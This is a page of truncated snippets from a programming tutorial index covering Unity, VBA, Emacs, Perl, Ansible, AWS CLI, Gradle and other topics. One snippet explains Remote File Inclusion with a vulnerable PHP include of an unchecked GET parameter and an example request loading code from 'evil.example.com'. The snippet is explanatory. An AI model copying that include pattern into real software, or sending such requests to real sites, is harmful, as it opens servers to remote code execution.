Tutorial by Examples: c

There are three MonoBehaviour methods that can be made coroutines. Start() OnBecameVisible() OnLevelWasLoaded() This can be used to create, for example, scripts that execute only when the object is visible to a camera. using UnityEngine; using System.Collections; public class RotateObje...
Avoid unnecessary operations and method calls wherever you can, especially in a method which is called many times a second, like Update. Distance/Range Checks Use sqrMagnitude instead of magnitude when comparing distances. This avoids unnecessary sqrt operations. Note that when using sqrMagnitude,...
Usage If you have a long running operation that relies on the not-thread-safe Unity API, use Coroutines to split it over multiple frames and keep your application responsive. Coroutines also help performing expensive actions every nth frame instead of running that action each frame. Splitting Lon...
ActiveWorkbook and ThisWorkbook sometimes get used interchangeably by new users of VBA without fully understanding which each object relates to, this can cause undesired behaviour at run-time. Both of these objects belong to the Application Object The ActiveWorkbook object refers to the workbook ...
ScriptableObjects are serialized objects that are not bound to scenes or gameobjects as MonoBehaviours are. To put it one way, they are data and methods bound to asset files inside your project. These ScriptableObject assets can be passed to MonoBehaviours or other ScriptableObjects, where their pub...
You create new ScriptableObject instances through ScriptableObject.CreateInstance<T>() T obj = ScriptableObject.CreateInstance<T>(); Where T extends ScriptableObject. Do not create ScriptableObjects by calling their constructors, ie. new ScriptableObject(). Creating ScriptableO...
Extra care should be taken when accessing serialized fields in a ScriptableObject instance. If a field is marked public or serialized through SerializeField, changing its value is permanent. They do not reset when exiting playmode like MonoBehaviours do. This can be useful at times, but it can also...
Problem Cross-site scripting is the unintended execution of remote code by a web client. Any web application might expose itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript, remote code can be executed when this content is rende...
Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...
You can quit Emacs with the following keybinding: C-x C-c Where C is the control key. Suspend Emacs You can suspend Emacs using the following keybinding : C-z It gets you back to your shell. If you want to resume your emacs session, enter fg in your terminal.
Often you will get into a state where you have a partially typed command sequence in progress, but you want to abort it. You can abort it with either of the following keybindings: C-g EscEscEsc
Hash references are scalars which contain a pointer to the memory location containing the data of a hash. Because the scalar points directly to the hash itself, when it is passed to a subroutine, changes made to the hash are not local to the subroutine as with a regular hash, but instead are global...
Ansible is best used from a checkout. It runs as you (not root) and it has minimal python dependencies. Python pip dependency install with pip: sudo pip install paramiko PyYAML Jinja2 httplib2 six Next, clone the Ansible repo from GitHub: cd ~/Documents git clone git://github.com/ansible/ans...
You can obtain information about EC2 instances using: aws ec2 describe-instances You can obtain information about specific EC2 instances using: aws ec2 describe-instances --instance-ids ... where ... contains one or more instance identifiers. For example: aws ec2 describe-instances --instan...
Before Fortran 95 it was possible to use assigned formats for input or output. Consider integer i, fmt read *, i assign 100 to fmt if (i<100000) assign 200 to fmt print fmt, i 100 format ("This is a big number", I10) 200 format ("This is a small number", I6) e...
If profiling your build shows significant time spend in Configuring Projects, the Configure on Demand option might improve your performance. You can enable Configure on Demand mode by editing $GRADLE_USER_HOME/.gradle/gradle.properties (~/.gradle/gradle.properties by default), and setting org.gradl...
1.6.5 git clone <url> --recursive Clones the repository and also clones all submodules. If the submodules themselves contain additional submodules, Git will also clone those.
A class or struct can also contain another class/struct definition inside itself, which is called a "nested class"; in this situation, the containing class is referred to as the "enclosing class". The nested class definition is considered to be a member of the enclosing class, b...
VBA syntax requires that a string-literal appear within " marks, so when your string needs to contain quotation marks, you'll need to escape/prepend the " character with an extra " so that VBA understands that you intend the "" to be interpreted as a " string. 'The fol...
VBA defines a number of string constants for special characters like: vbCr : Carriage-Return 'Same as "\r" in C style languages. vbLf : Line-Feed 'Same as "\n" in C style languages. vbCrLf : Carriage-Return & Line-Feed (a new-line in Windows) vbTab: Tab Character vbNul...

Page 282 of 826